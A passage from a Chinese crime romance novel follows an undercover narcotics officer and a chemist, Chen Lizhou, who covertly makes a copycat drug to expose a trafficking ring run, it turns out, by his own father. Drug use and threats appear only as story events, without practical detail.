梁然说不出心里的感受。 那种隐隐触发的悸动好像是一种对未知的探索,想确定沈宗野的身份是不是警察而已,又或者只是她的愧疚。 梁然没再去想,抱起葡萄离开。 …… 送猫的物流小哥把拍到的照片发到了寄件人的手机上,订单有备注,希望能看到收件人签收的状态。 手机的这一头,沈宗野看了眼照片,小猫趴在主人怀里,脑袋被一只白皙的手挼着。 葡萄身上很干净,看起来也精神,物流托运没有让它受太大罪。它耳朵附近还别着两个珍珠发卡,是沈宗野前一天去买的,小裙子也是他给葡萄新买的。 裙子是极浅的蓝色,印着卡通小鱼的图案,带着花边,有一种繁琐的精致。 沈宗野看着这条小裙子,忽然想起了很久之前,商场的玻璃橱窗里那条极简的蓝色连衣裙,它被安放在打折区里,却仍旧美丽,仍旧清冷而高级。 残疾的大拇指长按图片,点下删除,沈宗野摁灭了手机,重新走进这场越发寒冷的冬季。 第72章 第72章他不想让梁然身上沾上了…… 春暖花开的三月,梁然和乔思嘉飞去A市参加一个建筑行业交流会。 陈沥周竟也在。 会场上人那么多,陈沥周坐在不起眼的角落,梁然坐在中间的位置,留意四周熟人时看到了他。 陈沥周好像是特意为她来的,他并不怎么和周围跟他攀谈的人聊天,在会议结束的时候用眼神示意她过去见一面。 陈沥周走出会场。 乔思嘉也看到了陈沥周。 “走,我陪你过去。” “你把我们的名片推一推,我自己过去。” “你一个人行吗?” “没问题。” 梁然走出会议厅的门,西装革履的青年站在过道的尽头,身影颀长。 梁然跟过去,陈沥周拐弯,走到人少的一条长廊上,窗外是个晴天,透进的阳光落在他发梢,他朝梁然露出久违的微笑。 梁然微微挑眉:“不跟我绝交了?” 陈沥周依旧还有些不好意思:“不是已经在电话里说清楚了吗,春节时有些忙,没能过来看你。” 梁然淡淡一笑,她没有开口。 陈沥周不曾讲话,双手插着兜,一半侧脸落入阳光下,笑意温和儒雅。 梁然先开口打破这股安静:“你选这么个清净的地方,好像真的像一个地下工作者一样。” “抱歉,我之前只能以那样的方式让你离开。” 陈沥周一直以为梁然离开宁城是因为他那封信。 梁然没有解释,问起:“你查到什么了吗?” 陈沥周目光沉静,他只是笑,不想再把这些危险的事告诉梁然:“能一起吃个饭吗?” “陈沥周,那个人他……”梁然顿了片刻,她实在不能开口告陈沥周沈宗野是一名缉毒警察,但她又不希望陈沥周针对沈宗野。 陈沥周敛下笑:“你放心,我不会那么冲动,我也从没正面和那些人打过照面,我知道怎么保护好自己。” 梁然抿了抿唇,看着窗外的蓝天。 “一起吃个饭吧,很久没有见你了。梁然,宁城最近气温挺冷的,又下了一场雪,我记得你好像是喜欢下雪,城市还是很美的。我妈妈的园林已经动工了,虽然你们不能来,但我很开心。时间真快,我们认识有五个月了。” 梁然看着他,在青年凝视的眼神里平静地说:“走吧,我请你吃饭。” 陈沥周这次是专门飞来A市看梁然。 他很早就想去南城向梁然道歉,但又担心那会儿把危险带给梁然,到今天才等到时机过来。 这顿饭结束后,陈沥周飞回了宁城。 他去了他很早前租的那间仓库。 等了一会儿,之前的中年男人也进来了,那只发抖的手从身上的斜挎包里拿出一沓沓钱。 “小陈老师,这是我卖完药的钱,都在这里,一共是九万九千八百块钱。” 陈沥周睨了一眼:“你收下吧。” 男人不想收,放在陈沥周桌上,男人沉默起来,手部的抖逐渐变成全身的抖动。 他在哭。 “怎么了,老郑呢?”陈沥周疑惑,这才往身后看去。 男人终于放声大哭。 他说老郑死了,吸毒过量死的,就在昨晚。 这两个中年男人是陈沥周之前在C市受聘化学竞赛评委时认识的,他们是学生的家长。 当时有个第三名的女学生拉着一个老旧的、掉了两只滚轮的行李箱要回家,陈沥周开车离开时校门多看了一眼,两个小时候后他经过一条路时又遇到了那个女学生,他便降下车窗问了一句,女生还要走25公里才能回家。 陈沥周让女学生上车,为了打消女学生的顾虑,他拨通了女生爸爸的手机号,全程打着电话将女学生送到那个村子。 女生的爸爸就是眼前的李建安,李建安很感激陈沥周,杀了一只鸡硬要留陈沥周吃饭再走。 陈沥周发现对方的右手时不时会抖动,抖动起来时会伴随呼吸急促,瞳孔散大,又不停用发抖的手擦流个不停的眼泪。 陈沥周有些意外,为了查杀害他妈妈的凶手,他啃了很多毒品知识,给李建安递上纸巾时,摸到他的脉搏跳动异常快速。 他于是跟着李建安,看到李建安绕过那间农村的平房,去老郑家,两个人一起吸着粉。 他们发现了陈沥周,跪下来求陈沥周不要告诉女儿,不要告诉学校。 陈沥周那时是意外的,毒品价格离谱,他们身在农村为什么沾毒? 李建安对他说他们一直都在城市里做装修工人,是被人发烟抽上的。起初那烟虽然要二十块钱一包,但也还能接受,后面涨到二百,一千……直到他们成瘾,工资完全不够花,甚至还卖掉了家里的电视冰箱。 他们是两个被小贩坑害的老实人。 毒瘾最终还是让他们的秘密曝光,老郑的女儿被同学霸凌,主动换了更偏远的学校,妻子把女儿给了奶奶,去南城打工了。 李建安的女儿抬不起头,即便成绩优异,能拿每一学期的奖学金,也还是变得沉默寡言,性格孤僻。 李建安和老郑再也没有回过村子,他们去接便宜的小工,去捡废品,但每个月的两千块往老家寄回去大半,剩下的几百还是不够买粉。 两人想过抢劫,他们抢了一个小学生的手表,手表里那个妈妈哭着喊“儿子你回答妈妈”,两个人不忍心,扔下手表跑了。 他们互相绑过自己,但还是控制不住那种痛苦。 陈沥周在查那个泰国人时,在C城再次遇到了两个人。 他们说他们戒不掉了,他们想去死。 陈沥周让他们进戒毒所。 他们说他们的身体很差了,有个毒瘾很深的大哥看到他们,和他们说再开开心心两年,死也值了,那个大哥也死在了两个月后。 陈沥周沉默后说,宁城有一种毒品叫轻松一号,相对便宜,也许可以缓解他们毒瘾发作时的痛苦,他希望他们用轻松一号来代替戒毒。 他们于是来了宁城,陈沥周也有私心,请他们顺便帮忙留意他在查的泰国人,收集那些贩毒成员的外貌特征。 只不过陈沥周那两年还在美国,中间回国的次数不多,和他们俩也只见过为数不多的几面。 这一次也是因为三个月前陈沥周和梁然吃完饭后,在路上偶遇了两人,才帮忙付了面钱。后面因为担心梁然,才再次请他们去跟踪梁然。 寂静的厂房里是李建安压抑的哭声。 “像我们这种人死了应该就是解脱了。” 陈沥周:“他在哪儿?” “湾北立交桥下面的桥洞里,盖着被子,我给他买了两瓶酒,一只烤鸭,他说了很久他想吃烤鸭……” 陈沥周抿了抿唇:“酒瓶上留下你的指纹了吗?” “没有,我戴着手套的。” 陈沥周拍了拍李建安的背:“抱歉,如果当初我没告诉你们轻松一号……” “小陈老师,不关你的事,当初我们自己也在找替代品,但那些卖货的有贵的麦怎么会让我们去买便宜的。我们不怪你,是我们自己造的孽。” “他有遗言吗?” 李建安很痛苦,也许他在回忆老郑死前的画面,那些画面让他越发痛苦起来,哭声越大。 陈沥周在美国见过很多吸毒的人,也看过毒瘾泛滥的吸毒者临死前的素材,看李建安这样,老郑的死状恐怕是不好。 陈沥周拧开一瓶水递给李建安,又给他拿纸巾,他等李建安情绪稳下来,开口说:“我现在不能给他办后事,不好意思,但我会找个人去报警,先让警察安葬他吧,他女儿的学费我会负责。” “小陈老师,我不是这个意思。”李建安流着眼泪说,“跟你没有关系,我们愿意替你办事是因为我们也恨死那些贩毒的了!小陈老师,你一定要把那些毒贩都抓起来,给我们报仇!” 人性真是复杂,李建安和老郑一面点头哈腰对那些小贩喊哥赔笑脸,苦苦求别人价格便宜一点;一面又能痛恨他们到恨不得他们都去死。 就像他们明明痛恨毒品,可是又已经离不开毒品。 说完老郑,陈沥周让李建安把这次贩卖的事情说完。 李建安说:“我和老郑在各个群里还有酒吧门口都撒了地方,全部是埋地。雷,昨晚有一批人在找我们,看起来应该是卖轻松一号的一批人。现在我们的药已经在宁城有很大名头了,纯,又便宜,肯定搅乱了轻松一号的市场。” 陈沥周说:“可以了,效果达到了,你收手吧,任何人联系你都别卖了,剩下的还有多少?我去处理掉。” 李建安将剩下的药拿出来。 是一颗颗彩虹色的小药丸,跟轻松一号的大小一样,但颜色要更浅更梦幻,欣快感却比轻松一号更持久,价格也更低。 陈沥周打开地下室的门,穿上防护服和防毒面罩销毁了剩余的药。 地下室的桌面上摆放着专业的化学仪器和很多玻璃器皿。 李建安在门外守着,陈沥周处理完重新回到仓库,将一袋白色的药递给李建安。 “这个比你现在吃的强,能帮你身体减轻一些负担。” 李建安流着眼泪接过。 他们来宁城的这两年一直都靠吃轻松一号来填毒瘾发作时的痛苦,上个星期前有了陈沥周亲自制作的轻松二号,原以为他们可以活得再久一点,让毒瘾发作再慢一点,可惜老郑以为自己好多了,悄悄用陈沥周的钱去换了粉才直接吸死了。 陈沥周制作的药,李建安无条件相信。 陈沥周:“走吧,最近注意安全,谢谢你。” “小陈老师,是我谢谢你。” 李建安走后,陈沥周将地下室的所有东西全部搬空,光洁的桌面和仓库门锁都全部擦拭干净,确保连指纹都不会留下,开车将这些化学仪器送回他朋友的制药厂。 夜幕寒风凛凛。 迈巴赫停在空旷的街道,他降下车窗,让冷风灌满整个车厢,吹走他浑身的燥热不安。 他会恐惧。 他在制。毒,他按照轻松一号去打板了轻松二号,让李建安和老郑去贩卖。 他想查找沈宗野的罪证。 梁然那两封信让他明白了沈宗野可能是在卖这个东西。 只要他把市场搅乱,让那些暗处的人主动现身来找这个轻松二号幕后的人,他就可以找到证据把这些人抓起来了。 这实在太冒险,可是想起梁然,陈沥周不后悔这么做。 那天她的手腕上全是红痕,她只能对他解释是他们个人的性。癖,可是陈沥周猜,那是不是沈宗野的性。虐? 镜片后的双眼有些干涩,陈沥周摘下眼睛,望着无边的黑夜。 他不想让梁然身上沾上了泥,她和他妈妈一样,是那么美好的人。 他没有办法救他妈妈,但是他一定要保护好梁然。 陈沥周主动去了沈宗野的公寓附近,企图蹲到有用的信息。 夜里十点,沈宗野出门去了「云上人间」。 陈沥周也跟到了楼下。 他快速停好车,冲去电梯时电梯已经上行到5楼。 陈沥周等着电梯下来。 只是这时,旁边的安全通道门口突然传来一声哂笑。 修长挺拔的青年从那扇门后现身,站在那团阴暗的光影里,插着兜冲他扬扬眉,眼里充满戏谑的笑意。 第73章 第73章“处理好这件事,我会放…… 沈宗野就这样看着陈沥周,在陈沥周诧异他明明应该去了五楼,为什么会出现在这里时,恣意地挑眉。 沈宗野说:“跟踪我?” 陈沥周把手揣进西装裤兜,里面有他携带的一把匕首。 “你知道我要做什么?” 沈宗野懒洋洋地:“不知道啊。” 陈沥周:“你知道我在跟踪你?” 沈宗野似笑非笑。 眼前的青年比他大了两岁,很年轻,气质干净儒雅,可惜王局从梁然那里得到的信息是他的母亲在十几年前死于毒贩的手,所以让这个干净的青年怀揣了仇恨。 而且他极有可能是那个给梁然写去信的“一个卧底”,在用他自己的方式保护梁然。 可惜陈沥周盯上了沈宗野,沈宗野没办法放任他不管,担心他们这些人的出现会阻碍查案的进度,也给沈宗野增加危险系数。 沈宗野懒洋洋一笑:“跟踪人的水平太差劲了。我不太明白你为什么要跟踪我,我是一个正经的生意人,除了之前对梁然不是那么称职以外,我没觉得我有哪点做错了。” 陈沥周盯着沈宗野,褐色的瞳仁里毫不掩藏恨意:“你们可以冲着我来,但是别冲着我家人!” 沈宗野挑眉:“怎么了,喜欢梁然,梁然是你家人?” 沈宗野倏然敛了懒洋洋的笑,冷漠地盯着陈沥周:“如果你真想她过得好,不牵连她,那我就奉劝你不要再缠上我们。” “你是学化学的,应该对很多化学成分很了解,有些东西注射到人体内,他再大的秘密,再想保护的人,在药物面前也赤。裸成了空气。陈沥周,你好好想清楚,跟我对着干你和我都不会有好下场。” “我不需要听你们的威胁,你们威胁不到我!” 电梯来了,陈沥周冷冷进了电梯里。 沈宗野独自站了会儿,知道陈沥周对他的敌意还很大。 这个年轻有为的青年对梁然很喜欢,他感觉到了,甚至陈沥周的喜欢远远超出了沈宗野以为的范围。 手机铃声传来,是徐川的电话,徐川说董自新叫他来「云上人间」一趟。 沈宗野这个点过来本来只是单纯和谢天明出来洗个澡,这会儿便径直走了楼梯去一楼的院子。 这一次,董自新不再舒服地侍弄那些花草,哪怕院子里的山茶花已经开出了白色的花朵,董自新也没有一丁点高兴的样子。 徐川站在门口,院子里还有一个三十几岁的男人,沈宗野之前没见过。 男人沉默地站在董自新跟前,人比董自新高,但气势矮去一大截,眼里又惧怕又担忧。 “董叔,出什么事了?” “你告诉他。” 董自新的声音冰冷,带着浓烈的仇恨。 沈宗野几乎下意识去回想难道是他和谢天明哪一步漏了陷?董自新的愤怒是因为他们? 那个男人说:“市场上出现了一种药,叫轻松二号。” 沈宗野紧绷的神经陡然松懈,但脸色不显,非常意外地表现着惊讶:“不是咱们的货?难道是对手?” 男人叫程启天,沈宗野不知道他是谁,但能猜到是负责轻松一号的人。 程启天把一袋跟轻松一号九分相似的小药丸递给沈宗野,这药大小和舌根下的味道都和轻松一号一样,只是颜色上稍浅,入水也化得无色无味。 程启天说因为这个药的出现,严重搅乱了他们的生意,这药直接叫轻松二号,摆明了是跟董自新对着干。 这是沈宗野卧底这么久以来,第一次跟轻松一号对上线。 他非常震撼:“是乌鱼?” 董自新说不太像。 据他泰国的人说乌鱼那一党还是想吞他的生意,如果他们也能做出轻松一号来,不会这么来占他宁城的市场。 董自新:“宁城本来也不是我的大本营,我在宁城束手束脚,从不把这里搅乱。” 是的,局里已经查过,轻松一号在南方卖得更好,很多人听冰和粉都害怕,但是却觉得这种药可以尝试,轻松一号的身价逼近一型毒品。 沈宗野望着程启天:“程哥有眉目吗?” “我小弟查了这药是上个星期五晚上冒出来的,卖家很奸,不露面,只埋地。雷,我也加了卖家想把人引出来,但是对方就是不上道。” 沈宗野:“还有什么线索?你怎么查的,用什么和那边沟通,程哥仔细回想一下,我们再一起想想。” 程启天仔细地想,觉得没什么重要的线索:“加的境外一个聊天软件,对方打字也是中文,偶尔会夹带些错字,但是言语上很精,宁愿不要钱也不露面交易。” “我能看看聊天记录吗?” 程启天打开那个软件,手机递给沈宗野。 沈宗野仔细扫着聊天记录。 董自新也回头盯着沈宗野。 沈宗野说:“他的字有偏旁的错别字,而且回复你的时间上间隔没有定数,但都会超过一分钟,如果不是生意很好,对接的人很多,那就是年龄偏大,或者文化水平不高,打字吃力。” 沈宗野说:“而且他没什么暗语,只会说地。雷,我看是个新手。” 沈宗野把手机还给程启天,对董自新说:“不知道是哪路神仙挡了您的道,董叔打算怎么处理?” “揪出来,弄死。” 沈宗野点点头:“如果是道上的人,可以直接按死,如果是个新手,董叔不妨收编成自己人。” 董自新半晌没说话,这会儿已经消化完了最初听到消息时的愤怒,只是中年男人身上的杀气依旧未减,拿起修理枝条的剪刀用力剪下一朵山茶花。 “真他妈有趣,我在道上这么多年,谁不想为了这个金疙瘩来弄我,但是这个人竟然复刻了我的配方,还把时效延长,真是个化学高手啊。” 化学。 沈宗野眉骨的青筋一跳。 “揪出来,我要配方,人直接弄死。” 程启天领完这个命令离开了,徐川也出去巡视楼上的生意。 沈宗野也准备离开,但董自新留住了他。 “你很聪明,我没看错人。” “董叔过奖了。” “想听轻松一号的故事么?” 沈宗野一愣,非常地开心。 他像个即将赚到大钱,即将飞黄腾达的小人一般,仔细地听着董自新说起轻松一号。 这药是董自新找人研制出来的,因为对身体损伤程度比早期各种毒品轻,但欣快感不减,价格合适,非常受欢迎。董自新利用境外几个合作的武装军队,成功让这个药站稳了境外的市场,又在云南、南方几个一二线城市侵占了市场。甚至在好几个东南亚国家,这个药是皇室成员的专供。 沈宗野总算知道向邬道为什么也想跟董自新合作了。 董自新说:“我拒绝了他上面,也没见他,他才设计你,想把你培养成他可以用的棋子。” 沈宗野点点头:“我明白了。” 董自新回头盯着沈宗野:“你那个女朋友呢?乌鱼告诉我你玩了个良家女孩。” 沈宗野非常懊恼:“最开始以为她是乌鱼的人,谁知道她妈的对我一往情深,不过董叔你放心,我拿了她的把柄,她不会把我诈骗的事捅出去。” “诈骗?” “是啊,她一直以为我搞的是诈骗和放黑贷。” 董自新这才冷笑了下:“你自己要扫干净身后的尾巴,我的生意不允许你们任何人搞砸,有必要就把这个女人做掉。” 沈宗野神色如常,点头应下。 董自新让他这几天也好好查一查轻松二号的事。 沈宗野离开了「云上人间」。 回到车上,谢天明见沈宗野脸色不对,连忙追问原因。 沈宗野将轻松二号的事说完。 谢天明:“董自新的秘方肯定很难复刻,但是这个人居然做出来了,真是个牛人。我真觉得他们这些制毒的人真是恐怖。” 谢天明扭头才看到沈宗野眼底更深的担忧。 “怎么了,还有什么事?” “董自新说乌鱼告诉他我玩了一个良家女孩,他叮嘱我必要的时候要把人弄死,扫干净尾巴。” 谢天明吓了一跳,冷静地坐直身体,也同沈宗野一样陷入了可怕的沉思里头。 沈宗野看着远处街头的夜色:“我想去把乌鱼按下来。” “怎么按?他在泰国。” 沈宗野紧绷着薄唇,幽深的目光望着路边的积雪。 “过几天我会说我去外地找轻松二号的证据,你留下继续查轻松二号。” 谢天明有些担忧:“我跟你一起去吧。” “不用。” “哥,你真的爱上梁然了吗?” “没有,他知道梁然的真实身份,也能随时找到梁然,是我们牵连到她了,应该我们自己兜底。”沈宗野说。 谢天明没再说太多的话,有些话说得太明白,可能像吹鼓的气球,越满越容易破开。 谢天明说:“我听你的,这事我不会告诉王叔。” 沈宗野抿起淡笑:“多谢。” 谢天明开车驶回公寓。 穿过一条路,道边有一家奶茶店,这个时间店面已经打烊了,但招牌的灯还透亮。 在四个月前,沈宗野在这家奶茶店里买过热饮,给梁然和谢天明。 谢天明说:“我入职比你晚了一年,但是见过的受害者家属也有很多,好多人都憎恨毒贩,但是也特别害怕毒贩。我第一次见到梁然这么勇敢的人。” “我想了想,如果有一个这么勇敢的人来到我身边,我见证了她明明在害怕,但又还是强行装着不害怕,也许在我知道真相的那一秒我就会爱上她。哪怕不是爱上她,我也会默默喜欢这样的女孩子,为这样的女孩子疯狂打call。” “哥,你很优秀,全国的缉毒警察里你是精英的前列,你要相信你也是这样出色。” “你想说什么呢。”沈宗野说,“说这些没有意义。” “我不想让她受伤。” 车子快到公寓,谢天明在拐进停车场时将黑色汽车缓缓停在了路边。 无尽的黑吞噬着这片暗夜。 世界在这一刻虽然是黑暗的,可是却是他们无比熟悉的颜色,是保护色。 也是日复一日没有终点的恒久色。 沈宗野说:“处理好这件事,我会放下她。” 谢天明笑了笑:“开车有点久了,我下车走回去。” 沈宗野独自在车厢里坐着。 他点开音乐,车厢里响起沈知培喜欢的那首《灰色轨迹》,沈宗野听着歌词,忽然觉得太悲凉,切掉了歌。 他播放起列表里一首歌。 是法语,他忽然就想起了这么浪漫的节奏曾经也听到过。 在那间灯光旖旎的酒店里,梁然搭着他的肩膀跳起Tango,灯光像水波晃过她的眼睛,她长长的裙摆在跳舞。 沈宗野垂下眼皮,一颗一颗拨着手上的沉香珠串。 那颗有纹裂的翡翠在车灯下亮起蓝色寒光,凛凛干净。 沈宗野将车开回车库,下了车,状态依旧,看不出任何卧底之外的异常。 谢天明看了他一眼,插上一瓶AD钙奶递给他。 沈宗野没拒绝,慢悠悠吸着。 谢天明忽然笑了下,摇摇头,怪不得说沈宗野是精英呢。 卧底干成这样,几乎看不出任何一点带着人味的情绪。 第74章 第74章今晚,他也算还她了吧…… 关于调查轻松二号这件事,沈宗野让谢天明去跟踪陈沥周。 谢天明有些费解:“你怎么会怀疑他?” 沈宗野也不是有意怀疑陈沥周,而是王局调查后知道陈沥周是个极专业的化学人才,又在最近跟案子搅合在一起,不能排除嫌疑。 沈宗野叮嘱:“你一个人去跟他就好,别惊动旁人,如果真查到是他,要确保证据以及他的人身安全。” 谢天明还是觉得不太可能:“他一个有钱有才的有为青年,犯不着干这么蠢的事吧。我知道了,我会注意。” 谢天明当即去办。 沈宗野回了趟公司,表面上让他的人都去暗查轻松二号,但却暗中让云肖去一趟泰国查向邬道。 案子牵连的人已经越来越多,沈宗野只想快些等到董自新走货或者出货时叫上他,到时候好一击抓捕。 …… 三月的宁城气候也逐渐回暖,市中心一处高档楼盘,陈沥周住在这里。 他的公寓是一处豪华平墅,钟点工清扫完照例和他礼貌地打完招呼离开,宽大的两层平墅里只剩陈沥周一个人,他已经有很多年都是自己住在这边。 周末,陈沥周没有去公司上班,也结束了轻松二号的事,刚和梁然打完一通电话。 他的眼神是愉悦的,看了下墙上的古董钟,时间是十一点,门铃也刚好如约响起。 陈沥周穿着家居服,慵懒踩着拖鞋去开门。 门外是董自新。 气候回暖,董自新仍穿着轻薄的羽绒服,一条穿过很多年有些发旧的裤子,寸头的短发,和气的笑,整个人看外貌实在朴实。 他手上拎着很多菜。 陈沥周说:“不是说好了我带你去外面吃么。” “没事啊,我来做,爸爸好久没有给你做饭了。” 董自新笑呵呵地在玄关换完鞋,把大包小包放下的时候还不忘往外头看一眼。 陈沥周的眼里有些动容。 董自新是他的爸爸,但是他没法姓董,也没法姓他们原本的周姓。他和他爸爸都换成了一个陌生的姓。 董自新也不能跟他住在一起,因为泰国的毒贩还是会找上门,希望他爸爸替他们办事。所以董自新每次来看他,都要小心翼翼地留意四周会不会被人跟踪。 陈沥周按下白纱窗帘,遮挡住落地窗。 董自新轻车熟路地走进厨房里,挽起袖子开始忙碌,一边凝望陈沥周,眼里是满意的光,好像在欣赏一个得意的作品。 “还适应上班的节奏吧,最近公司忙吗?” 陈沥周:“跟在国外没什么不同,我都适应。这个菜怎么切?” “不用你切,我自己来。”董自新笑,“你坐着就好,我今天做你爱吃的锅包肉,今天买的里脊特别嫩!” 陈沥周笑了下,惬意地靠在厨房门口。 工作群里有新的消息,陈沥周低头看起手机。 这是他那座私家园林的工作小群,里面有梁然和她工作室负责这个项目的员工,还有建筑团队的负责人。有人在问图纸上一个问题,梁然在回答。 陈沥周唇角上扬。 董自新笑着问他:“在看什么呢,你谈恋爱了?” “不是,是给妈妈修的园林,进度很顺利。”陈沥周摁灭屏幕。 他现在在做一件非常危险的事,他已经游走在法律的边缘了,怎么敢再把梁然牵扯进来。他没有再和任何人提起过梁然,包括董自新,包括和他关系亲近的何詹。 想到这里,陈沥周认真地看着董自新:“爸,他们没有再回来找你吧?” “没有。” “你别骗我。” 董自新笑:“我改过自新这么多年了,就算骗得了你也骗不了警察啊。”他回头继续备菜。 陈沥周坐到岛台,一时没有说话。 他是在八岁他妈妈去世那一年知道他爸爸在贩毒的。 他们家很穷,在云南最偏远的寨子住着木房子,爸爸常年外出,奶奶说是在务工,他真的以为他爸爸是在务工,直到他妈妈的死才让他知道他爸爸原来被毒贩逼着做他们的马仔,在贩毒。 奶奶带着他逃出了寨子,他爸爸也躲着那些人,几经辗转在一年后和他们汇合。 奶奶不敢再呆在云南,劝他爸爸走远一些再远一些,陈沥周也不想失去爸爸,他们一家三口从那么远的地方来到了这么远的宁城。 风平浪静的日子过了很多年。 他爸爸靠积攒的一点钱开了面馆,然后是餐厅,然后是「云上人间」那座综合会所。 拥有一个贩过毒的爸爸,哪怕他爸爸当初是被迫的,对陈沥周来说也仍是一件痛苦的事。 即便他天生智力出众,成绩优异,在学校里也总是低着头,不敢和任何同学做朋友,生怕会牵连到别人。 他的奶奶也很自责,常年吃斋念佛,祈祷菩萨原谅他们,祈求菩萨保佑毒贩不要再找到他们,将钱都捐给灾区,企图弥补心里的愧疚。 可惜他们还是被泰国的人发现了。 陈沥周有三次撞见那个泰国男人出现在他家。 他第一次见那个泰国人时是在他妈妈死的那天,男人的眼睛像鹰一样狠,鞋面上还沾着血。当时他爸爸不顾一切将他推上一辆摩托车,搀扶奶奶坐在身后护住他,不让他去冲动报仇。 十几年了,那个泰国男人从青年变成了中年,陈沥周依旧记得他的样子,一刻也不敢忘记,他一出现,陈沥周就认出了他。 男人是负责来游说他爸爸出山,但他爸爸没答应。 陈沥周质问过董自新:“你没答应他们的要求,为什么他们还敢上门来找你?” 董自新苦笑:“我不稳住他们,怎么找到办法给你妈妈报仇?” 这些年,陈沥周都蛰伏在这份仇恨下,有时候他甚至恨过他爸爸懦弱,要对那样一群人微笑逢迎。 陈沥周的奶奶虽然没有文化,是个农村老太太,但却喜欢有学问的人,喜欢他妈妈,也鼓励他多读书。她希望他好好念书,考出国去。 陈沥周确实很用功,但他知道他学习不是为了考出国去避难,是为了成为更强大的自己,好给他妈妈报仇。 陈沥周第三次见那个泰国男人,就是他查梁然的那一回,那天他跟踪沈宗野去了「云上人间」,看到那个泰国男人和沈宗野坐在一起。 他在董自新的休息室里质问董自新,为什么那个男人会出现。 董自新说他已经在找证据了,他不想做得太明显,不想打草惊蛇。 陈沥周深深看着董自新:“你不要再被他们害了,不要再做对不起妈妈的事,因为我爸爸贩过毒我已经觉得无地自容,我不想你再被他们蛊惑。” 董自新郑重地向他保证他绝对不会再踏足那个泥潭里。 厨房里传出有节奏的切菜声,董自新系着围裙,专注切着土豆。 他比去年多了几根白头发。 陈沥周安静望着董自新,心头的愧疚忽然更无处安放。 在地下室制作毒品那天,他犹豫了很多次,一旦做了他也许就再也洗脱不了罪名了。 可是梁然是无辜,他爸爸也是。 不管是为了他妈妈还是为了梁然和他爸爸,他都想把那些人的罪证找出来,他想要那些人得到应有的下场。 他现在无法回头了。 “爸……” “怎么了?” 陈沥周沉默了一会儿,笑了笑:“你刀工真好。” 董自新失笑,眼睛里全是被夸赞的得意。 他们是血缘上那么亲密的人,但却都不知道彼此不可告人的秘密。 亲情架在这无数的虚伪谎言背后,蒙上层层干净不了的纱。 从陈沥周这里离开之后,董自新坐进一辆MPV,他的眼神非常冷戾。 等在车上的手下便问他怎么了。 董自新:“我儿子被人监视了。” 董自新指挥司机开车驶出小区,绕着对面高楼行驶过去。 防窥车膜从外看漆黑一片,但不影响从车厢里看出去的视野,董自新冷冷睨着高楼其中一扇窗:“去查是谁在监视沥周,别打草惊蛇,我马上就要知道结果。”他的眼底几乎都是杀气。 …… 「云上人间」一楼的花园,落日余光照着这间宽大的玻璃花房。 沈宗野被董自新叫了过来。 董自新见到他便问:“轻松二号查得怎么样了?” 沈宗野难得见董自新这么急迫,他说:“还在查。” “你有可疑的人物?” 沈宗野有些诧异。 这事昨晚才知道,沈宗野自然没有怀疑的人物,他虽然暂时锁定了陈沥周,但也和谢天明一样觉得这么年轻有为的青年不会干这种极端的事。 “暂时确定了几家场所,在想办法查附近的监控。” 董自新似乎这时才收敛起刚才的急迫,如同往常一样淡淡地问:“是么,我以为你锁定了可疑目标,有一个姓陈的年轻人是怎么回事?” “陈沥周?”沈宗野很是意外。 “嗯。” 沈宗野应对如常:“哦,这个人是个学化学的,之前有两次在楼上洗澡碰到他了,我就想不如一起查查,让天明先监视两天再说。” “胡闹!”董自新说,“你知道他是谁么?和市政关系那么密的人,你竟然敢去查他?你想把我的生意捅得人尽皆知?” 沈宗野连忙解释,说他马虎了,求董自新别生他的气。 但是沈宗野心里很意外,他今天才查陈沥周,董自新为什么这么快就知道,甚至董自新也知道陈沥周这个人? 沈宗野表现得十分惶恐,小心翼翼辨着董自新的脸色:“董叔,都怪我没想清楚。” 董自新没有最开始那么急迫了,他坐在椅子上抽着雪茄,烟雾充斥在漫长的冷寂里,直到那根雪茄抽完,董自新眼底似乎已经恢复正常的神态,睨着沈宗野说:“你去云南帮我看个场子,管好我的人。” 董自新说云南的地盘上有两个人收了向邬道的钱,不知道要做什么,让沈宗野去查,也顺便接手轻松一号的生意。 宁城的地盘已经交给昨晚见到的程启天,沈宗野不可能再安排在宁城。 只不过沈宗野不知道这是董自新原本的安排,还是因为他在查陈沥周,惹恼了董自新,让董自新觉得他不稳重,才将他调走。 沈宗野非常愧疚:“董叔,您别生我气,我谨慎点就是了,以后这些有名气的人物我都不去动。” 董自新好笑:“生你什么气,出去吧。” 沈宗野离开了「云上人间」,虽然董自新面上看不喜怒,可这个人向来不显露情绪,沈宗野不清楚这次做错了什么。 陈沥周和董自新是否真的有什么关联? 不过去外地本来就是沈宗野一开始的打算。 云肖这会儿已经到金边了,沈宗野原本打算用计将向邬道引到国内,如今倒是不失为一个机会。 宁城的事沈宗野交给了谢天明,陈沥周不可能不查,他们需要换一个更温和的方式查。 沈宗野想了想,让谢天明去找人进入陈沥周的公司。 …… 滇省的三月是春暖花开的胜景,沈宗野已经来到云南。 他所呆的西北一个小城大街小巷开满樱花,阳光和煦,微风里卷着花香,沈宗野莫名想起了南城的春天。 他的楼下也有一片早樱。 他有长达一年零四个月没有回过家了。 到这里已经第八天。 沈宗野摸清楚了人员和他们平时卖货的方式,但现在还不是合适收网的机会。 云肖也在今天回到沈宗野身边,他已经按照沈宗野的计划将向邬道引回国内,只是向邬道还是太奸滑,并没有直接进入云南,而是去了临近的Z市。还有,除夕那天消失的姜义现在跟在向邬道身边,这趟也和向邬道一起回国了。 沈宗野让云肖留下来看场子。 云肖问他:“宗哥,你要一个人去找乌鱼?姜义也在他身边,太危险了,你带上我吧!” “带你反而容易打草惊蛇,放心,我自己有数。” 云肖不解:“咱们费尽心思查乌鱼做什么?” 沈宗野的计是利用向邬道云南地盘上的内讧将向邬道引回国。 云肖这趟这么顺利,是在一个夜。场女人那里设计到的消息,没想到向邬道倒真的信了,气汹汹回国,但他很精,在Z市降落没直接回云南,向邬道入住的地址云肖也在那个女人那里弄到了。听起来一切都算顺利,但是其中过程有多凶险,沈宗野和云肖都清楚,云肖差点就被向邬道的人撞见,那个女人收了他的钱,将他藏到酒柜里才没被发现。 云肖不理解沈宗野这么费尽功夫查向邬道的原因。 沈宗野说:“他在董叔那挑拨我,董叔对我有疑心才把我支到这里,你觉得离开董叔身边,我还能怎么发展?云南这边管得这么严,这些场子每个星期都要换,不除乌鱼,我们不是栽在警察手上,就是死在乌鱼手里。” 云肖听明白了。 沈宗野拍了拍云肖肩膀:“这趟你辛苦了,在这边我只信你,这件事也只有你和我知道。” 云肖冷静地点头。 沈宗野没有耽搁,事情越早结束,走漏的风险越少。 他开车驶去Z市,疾驰的汽车穿梭在浓墨般的暗夜中。 